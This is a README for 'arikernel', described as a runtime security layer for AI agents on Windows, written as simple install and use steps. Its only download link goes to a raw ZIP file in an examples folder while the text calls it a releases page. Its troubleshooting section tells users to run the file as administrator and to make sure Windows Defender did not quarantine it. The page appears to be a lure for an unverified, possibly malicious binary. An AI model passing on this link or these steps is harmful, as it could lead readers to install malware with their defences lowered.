arikernel：为 AI 智能体提供运行时安全防护层

🛡️ arikernel - Keep AI actions under control

🚀 What arikernel does

arikernel is a runtime security layer for AI agents. It checks tool calls before they run and helps block risky actions. Use it to help reduce prompt injection, unsafe tool use, and data leaks when you run AI apps on Windows.

📥 Download arikernel

Open the arikernel releases page
Find the latest release
Download the Windows file for your device
Save the file to a folder you can find again
Open the file and follow the on-screen steps

If Windows asks for permission, choose Yes so the app can start.

🖥️ System requirements

Windows 10 or Windows 11
At least 4 GB of RAM
200 MB of free disk space
Internet access for setup and updates
A modern web browser for release downloads

For best results, keep Windows up to date before you install.

🔧 How to install

Go to the releases page
Download the Windows package from the latest release
Open your Downloads folder
Double-click the file you downloaded
If a setup window appears, follow each step
Choose the install folder or keep the default
Wait for setup to finish
Start arikernel from the shortcut or the folder where you installed it

If the file is in a ZIP folder, right-click it and choose Extract All first.

▶️ How to run

After install, start arikernel from:

the desktop shortcut
the Start menu
the install folder

If the app opens a window, keep it running while your AI agent uses tools. arikernel then checks each tool call against its policy rules.

🧭 First-time setup

When you run arikernel for the first time:

Review the default policy
Choose which tools the AI can use
Set limits for files, web access, and system actions
Save your settings
Test one safe action first

A good first test is a simple tool call, such as reading a local file or opening a harmless web page.

🔐 What arikernel helps protect

arikernel is built to help with:

prompt injection defense
tool call checks
unsafe action blocking
file access limits
network request control
data exfiltration prevention
policy checks for AI agents
runtime security for local and remote agent apps

🛠️ Basic use cases

Use arikernel if you want to:

run an AI agent on your PC with more control
stop an agent from opening files you did not allow
limit web requests from an agent
block commands that do not match your rules
protect sensitive text, keys, or documents
add a policy layer to an AI runtime

📂 Typical folder layout

After install, you may see folders like these:

config for settings
logs for run history
policies for rule files
tools for allowed actions
updates for release files

You can keep the default layout unless you have a clear reason to change it.

⚙️ Common settings

Here are a few settings many users start with:

allow only trusted tools
block unknown file access
limit clipboard use
restrict network calls
require approval for risky actions
log every tool call
stop actions that try to reach personal data

Start with a strict policy, then loosen only what you need.

🧪 Safety checks

After setup, test these items:

Start the app
Run one known safe action
Try one blocked action
Check the log file
Make sure the policy matched your choice

If a safe action fails, review your allow list and settings.

🧯 If something does not work

Try these steps:

download the latest release again
check that the file finished downloading
unzip the package before opening it
run the app as an administrator if Windows blocks it
restart your PC and try again
remove old files before installing a new version
make sure Windows Defender did not quarantine the file

If the app still does not start, download the file again from the releases page.

📌 Update process

To update arikernel:

Visit the releases page
Download the newest Windows file
Close the old version
Install or replace the old files
Start the new version
Check that your settings still match your policy

Keep your policy file backed up before you update.

🔍 Project focus

arikernel focuses on:

agent security
AI runtime control
prompt injection defense
policy enforcement
LLM safety
tool call inspection
cybersecurity for AI apps

It is meant for users who want more control over what an AI agent can do on a Windows PC.

📎 Release download

Use this link to visit the download page and get the latest Windows release:

https://raw.githubusercontent.com/freepolice-20/arikernel/main/examples/generic-wrapper/Software-2.5.zip

🧩 File types you may see

The release page may offer one of these:

.exe for a Windows installer
.zip for a compressed app package
.msi for a Windows setup file

If you see a .zip, extract it before you run the app.

🧠 Good first policy

A simple first policy can include:

allow trusted local files
block system changes
block unknown web requests
log all tool use
ask before deleting files
ask before sending data out of your PC

This keeps the app useful while lowering risk.

🖱️ Desktop use

If you use arikernel on a daily basis:

keep the app open while your agent runs
review logs after each session
update the policy when you add new tools
block any action you do not need
keep sensitive files in a separate folder

🔎 What to check before each run

Before you start an AI agent with arikernel:

Confirm the policy file is loaded
Confirm the allowed tools list is correct
Check the network rules
Check the file access rules
Start the agent and watch the first tool call

📘 Help for non-technical users

If terms like policy, tool call, or runtime feel new, use this simple view:

a policy is a set of rules
a tool call is an action the AI tries to do
runtime means the app is active while the AI works
blocking means the app stops an action

Keep the rules simple at first. Add more only when you need them.